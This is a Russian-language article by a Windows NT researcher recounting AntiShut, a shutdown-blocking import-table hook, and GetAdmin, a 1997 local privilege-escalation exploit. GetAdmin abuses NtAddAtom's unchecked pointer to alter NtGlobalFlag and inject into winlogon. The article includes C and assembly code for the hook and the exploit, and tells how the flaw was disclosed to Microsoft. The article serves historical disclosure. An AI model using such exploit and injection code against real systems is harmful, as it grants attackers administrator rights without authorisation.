|
Константин Соболев, http://cmp.phys.msu.su/ Опубликовано: dl, 20.03.02 04:31 Мое исследование системы Windows NT началось с написания программы "AntiShut: Remote Shutdown Protection" - блокировка удаленного перезапуска компьютера. В то время (примерно год назад) я был на 3 курсе и частенько сидел за компьютером на кафедре. На игру в DOOM и т. п. реакция администраторов была однозначной - удаленная перезагрузка. Что и послужило основным стимулом написания программы "AntiShut". Данная программа блокирует как локальный, так и удаленный перезапуск. Принцип работы программы достаточно прост. Ниже опишу основные моменты в работе программы.
Код перехвата функции ExitWindowsEx: BOOL InterceptFunctionsInModule(PVOID baseAddress) { PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)baseAddress; PIMAGE_NT_HEADERS pNTHeader; PIMAGE_IMPORT_DESCRIPTOR pImportDesc; DWORD protect; if ( IsBadReadPtr(baseAddress, sizeof(PIMAGE_NT_HEADERS)) ) return FALSE; if ( pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE ) return FALSE; pNTHeader = MakePtr(PIMAGE_NT_HEADERS, pDOSHeader, pDOSHeader->e_lfanew); if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE ) return FALSE; pImportDesc = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, pNTHeader->OptionalHeader. DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]. VirtualAddress); if ( pImportDesc == (PIMAGE_IMPORT_DESCRIPTOR)pNTHeader ) return FALSE; while ( pImportDesc->Name ) { PIMAGE_THUNK_DATA pThunk; pThunk = MakePtr(PIMAGE_THUNK_DATA, baseAddress, pImportDesc->FirstThunk); while ( pThunk->u1.Function ) { if( (DWORD)pThunk->u1.Function == (DWORD)GetProcAddress(GetModuleHandle("user32.dll"),"ExitWindowsEx") ) { LogA("Hooking function\n"); if(!IsBadWritePtr((LPVOID)pThunk->u1.Function,4)) { (PDWORD)pThunk->u1.Function = (PDWORD)MyHandler; } else { if(VirtualProtect((LPVOID)(&pThunk->u1.Function), 4096,PAGE_EXECUTE_READWRITE,&protect)) { pThunk->u1.Function = (PDWORD)MyHandler; } } } pThunk++; } pImportDesc++; } return TRUE; } В итоге, когда winlogon получает через RPC приказ перезагрузить компьютер, перезагрузка глохнет в функции ExitWindowsEx. Получение администраторских прав Разовьем далее идею внедрения в системные процессы. Что нам известно о системных процессах (сервисах)? То, что все они, как правило, работают под "System Account". То есть имеют администраторские права на локальной машине. Наводит на какие-нибудь мысли? Получается, что пользователь, который имеет привилегию "отладка программ", может получить права администратора на локальной машине. Но как же обойти необходимость в специальных привилегиях? Решение было найдено мной несколько позже - июнь 1997. Заняло - примерно 1 неделю. Изучая работу ntoskrnl.exe (ядро Windows NT) я обнаружил (далеко не случайно, в ntoskrnl сотни функций), что функция NtAddAtom не проверяет адрес своего второго аргумента. То есть если передать в качестве параметра любой адрес, туда будет записано некое число (результат выполнения NtAddAtom). Функция NtAddAtom, в WIN32 API вызывается функцией AddAtom, которая используется достаточно часто. Но функция AddAtom принимает только один параметр (адрес строки), поэтому вызов ее не приводил к катастрофическим последствиям. Итак, получается, мы можем писать в любую область адресного пространства Windows NT. Очевидно, теперь мы имеем фактически полную власть над системой, без каких-либо специальных прав. Выбирая кратчайший из возможных путей, я и написал программу GetAdmin. Путь же этот заключался в следующем: В системе Windows NT есть некий глобальный флаг NtGlobalFlag, имеющий адрес примерно 0x801XXXXX. Изменением одного из битов этого флага мы можем превратить Windows NT в Windows NT Checked Build, и право "SeDebugPrivilege" не будет необходимо для внедрения в системные процессы. Код функции изменения NtGlobalFlag: BOOL ChangeNtGlobalFlag(DWORD pNtGlobalFlag) { DWORD callnumber = 0x3; DWORD stack[32] ; int i; DWORD handle=0; CHAR string[255]; if(!pNtGlobalFlag) return 0; stack[0] = (DWORD)string; stack[1] = (DWORD)&handle;//pNtGlobalFlag; // Вызываем NtAddAtom до тех пор, пока не будет выставлен // нужный бит в NtGlobalFlag. for(i=0;i<0x100;i++) { sprintf(string,"NT now cracking... pass %d",i); if(handle & 0xf00){ stack[1] = (DWORD)pNtGlobalFlag+1; } __asm{ mov eax, callnumber; mov edx, stack; lea edx,dword ptr [stack] int 0x2e; } if( stack[1] == pNtGlobalFlag+1) break; } return TRUE; } Далее, внедряя в winlogon код, который добавляет пользователя в группу администраторов, получаем искомый результат. Итак, программа GetAdmin позволяет получить права администратора на правах Guest-a. 30 июля 1997 я послал письмо в Microsoft, что так и так, есть такой баг. Через пару дней получил ответ от господина N, что я ошибся, и вообще моя программа не работает. Послав программу на www.ntsecurity.net и на news я убедился, что она все-таки работает. После публикации мне пришло письмо от господина NN из Microsoft (должностью повыше, чем N) с просьбой сообщить имя господина N. Баг этот Microsoft устранила только через несколько месяцев после публикации статьи об этом на www.ntsecurity.net. Более подробную информацию вы можете получить на http://cmp.phys.msu.su/ntclub.
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|